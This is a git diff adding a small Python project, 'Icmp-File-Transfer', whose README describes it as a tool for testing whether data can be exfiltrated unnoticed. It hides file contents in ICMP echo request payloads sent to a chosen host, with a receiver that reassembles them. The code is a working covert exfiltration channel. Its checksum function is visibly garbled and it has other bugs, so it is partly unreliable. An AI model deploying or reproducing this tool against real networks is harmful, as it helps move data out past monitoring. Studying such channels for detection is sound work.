diff --git a/Icmp-File-Transfer/.gitignore b/Icmp-File-Transfer/.gitignore
new file mode 100644
index 0000000..b948985
--- /dev/null
+++ b/Icmp-File-Transfer/.gitignore
@@ -0,0 +1,2 @@
+*.swp
+*.pyc
diff --git a/Icmp-File-Transfer/ICMP/IcmpApp.py b/Icmp-File-Transfer/ICMP/IcmpApp.py
new file mode 100644
index 0000000..bd91cd7
--- /dev/null
+++ b/Icmp-File-Transfer/ICMP/IcmpApp.py
@@ -0,0 +1,73 @@
+#-*- coding: utf-8 -*-
+
+# Copyright (C) 2012-2014 Daniel Vidal de la Rubia
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation version 2.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see
+
+from IcmpSocket import *
+from IcmpPacket import *
+
+
+class IcmpApp (object):
+ def __init__ (self):
+ self.socket = IcmpSocket()
+ self.file = None
+
+ def __enter__ (self):
+ return self
+
+ def __exit__ (self, type, value, traceback):
+ if self._file is not None and not self._file.closed:
+ self._file.closed
+
+
+class IcmpSender (IcmpApp):
+
+ def __init__ (self, file_to_send):
+ super(IcmpSender, self).__init__()
+ self._file = open(file_to_send, 'r')
+
+ def send (self, dst_addr):
+ seq_n = 0
+ while True:
+ data = self._file.read(56)
+ if not data:
+ packet = IcmpPacket(ECHO_REQUEST, seq_n=seq_n, payload=data,
+ code=2)
+ self.socket.sendto(packet, dst_addr)
+ break
+ packet = IcmpPacket(ECHO_REQUEST, seq_n=seq_n, payload=data)
+ self.socket.sendto(packet, dst_addr)
+ seq_n += 1
+
+
+
+class IcmpReceiver (IcmpApp):
+
+ def __init__ (self, file_to_receive):
+ super(IcmpReceiver, self).__init__()
+ self._file = open(file_to_receive, 'w')
+
+ def receive (self):
+ buff = []
+ while True:
+ icmp = self.socket.recv()
+ if icmp.code is 2: break
+ buff.append((icmp.seq_n, icmp.payload))
+ buff.sort()
+ str_buff = ''
+ for elem in buff:
+ str_buff += elem[1]
+ self._file.write(str_buff)
+
+
diff --git a/Icmp-File-Transfer/ICMP/IcmpPacket.py b/Icmp-File-Transfer/ICMP/IcmpPacket.py
new file mode 100644
index 0000000..624c590
--- /dev/null
+++ b/Icmp-File-Transfer/ICMP/IcmpPacket.py
@@ -0,0 +1,110 @@
+#-*- coding: utf-8 -*-
+
+
+# IcmpPacket: Little library to manage icmp protocol
+# Copyright (C) 2012-2014 Daniel Vidal de la Rubia
+#
+# Based on ping.py package by George Notaras
+# http://www.g-loaded.eu/2009/10/30/python-ping/
+
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation version 2.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+
+
+import os
+import struct
+import socket
+
+ECHO_REPLY = 0
+# (...)
+ECHO_REQUEST= 8
+# (...)
+
+ICMP_PACKET_SIZE = 64
+ICMP_PAYLOAD_SIZE = ICMP_PACKET_SIZE - 8
+
+class IcmpPacket (object):
+
+ def __init__ (self, type_packet=0, code=0, seq_n=0, payload=0, raw_p=None):
+ if raw_p :
+ p = struct.unpack('bbHHh56s', raw_p)
+ self.type_packet = p[0]
+ self.code = p[1]
+ self.checksum = p[2]
+ self.identifier = p[3]
+ self.seq_n = p[4]
+ self.payload = p[5]
+ else:
+ self.type_packet = type_packet
+ self.code = code
+ self.checksum = 0
+ self.identifier = os.getpid() & 0xFFFF
+ self.seq_n = seq_n
+ self.payload = payload
+
+ self.packet = None
+
+ header_fmt = 'bbHHh'
+ payload_fmt = '%ds' % (ICMP_PAYLOAD_SIZE)
+ packet_fmt = '!' + header_fmt + payload_fmt
+
+ self.packet = struct.pack(packet_fmt, self.type_packet, self.code,
+ self.checksum, self.identifier,
+ self.seq_n, str(self.payload))
+ self.calcule_checksum()
+ self.packet = struct.pack(packet_fmt, self.type_packet, self.code,
+ self.checksum, self.identifier,
+ self.seq_n, str(self.payload))
+
+
+ def __repr__ (self):
+ if self.type_packet is ECHO_REPLY:
+ type_packet = 'ECHO_REPLY'
+ elif self.type_packet is ECHO_REQUEST:
+ type_packet = 'ECHO_REQUEST'
+ else:
+ print "TODO: aƱadir moar tipos: %d" % (self.type_packet)
+ type_packet = 'NOT_DEFINED_BY_IcmpPacket'
+
+ return "ICMP "+ type_packet +" seq:" + str(self.seq_n) +" payload:" +\
+ self.payload
+
+
+ def calcule_checksum (self):
+ """
+ I'm not too confident that this is right but testing seems
+ to suggest that it gives the same answers as in_cksum in ping.c
+ """
+ sum = 0
+ countTo = (len(self.packet)/2)*2
+ count = 0
+ while count> 16) + (sum & 0xffff)
+ sum = sum + (sum >> 16)
+ answer = ~sum
+ answer = answer & 0xffff
+
+ # Swap bytes. Bugger me if I know why.
+ answer = answer >> 8 | (answer << 8 & 0xff00)
+
+ self.checksum = answer
+
diff --git a/Icmp-File-Transfer/ICMP/IcmpSocket.py b/Icmp-File-Transfer/ICMP/IcmpSocket.py
new file mode 100644
index 0000000..74bc8ca
--- /dev/null
+++ b/Icmp-File-Transfer/ICMP/IcmpSocket.py
@@ -0,0 +1,32 @@
+#-*- coding: utf-8 -*-
+
+# Copyright (C) 2012-2014 Daniel Vidal de la Rubia
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation version 2.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see
+
+from socket import *
+from IcmpPacket import IcmpPacket
+
+class IcmpSocket (object):
+
+ def __init__ (self):
+ self.socket = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)
+
+ def recv (self):
+ return IcmpPacket(raw_p=self.socket.recv(1024)[20:])
+
+ def sendto (self, packet, dst_addr):
+ self.socket.sendto(packet.packet, (dst_addr,1))
+
+
+
diff --git a/Icmp-File-Transfer/ICMP/__init__.py b/Icmp-File-Transfer/ICMP/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/Icmp-File-Transfer/README b/Icmp-File-Transfer/README
new file mode 100644
index 0000000..d1117ea
--- /dev/null
+++ b/Icmp-File-Transfer/README
@@ -0,0 +1,38 @@
+Icmp File Transfer -- Send files using ICMP as the transport protocol. (ICMP/IP)
+
+
+USAGE:
+ icmp.py recv
+ icmp.py send
+
+
+DESCRIPTION:
+ Icmp File Transfer is a simple tool to test if a network user can exfiltrate
+ information without being noticed using ICMP. It uses the data field of the
+ ICMP ECHO REQUEST packets in order to hide this information.
+
+
+COMMANDS
+ recv:
+ Listens for ICMP packets and tries to assemble them into a file and store it
+ on path. At this point it cannot discern if a received
+ packet is from a file transmission or not, so if it receives normal ICMP
+ packets it can fail to assemble the file, this should be fixed on a future
+ release.
+
+ send:
+ Reads and sends it to using the ICMP/IP
+ stack.
+
+
+AUTHOR
+ Daniel Vidal de la Rubia.
+
+
+BUGS
+ https://github.com/Vidimensional/Icmp-File-Transfer/issues
+
+
+SEE ALSO
+ http://vidimensional.wordpress.com/2013/06/21/sending-files-through-icmp/
+
diff --git a/Icmp-File-Transfer/icmp.py b/Icmp-File-Transfer/icmp.py
new file mode 100755
index 0000000..cb651c2
--- /dev/null
+++ b/Icmp-File-Transfer/icmp.py
@@ -0,0 +1,50 @@
+#!/usr/bin/env python
+#-*- coding: utf-8 -*-
+
+# Copyright (C) 2012-2014 Daniel Vidal de la Rubia
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation version 2.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+
+import sys
+
+from ICMP.IcmpApp import IcmpSender, IcmpReceiver
+
+
+def show_usage ():
+ print """
+ USAGE:
+ icmp.py recv
+ icmp.py send
+ """
+ exit()
+
+
+if __name__ == '__main__':
+ try:
+ action = sys.argv[1]
+ filename = sys.argv[2]
+ except IndexError:
+ show_usage()
+
+ if action == 'send':
+ try: dst_addr = sys.argv[3]
+ except: show_usage()
+
+ with IcmpSender(filename) as sender:
+ sender.send(dst_addr)
+
+ elif action == 'recv':
+ with IcmpReceiver(filename) as receiver:
+ receiver.receive()
+
+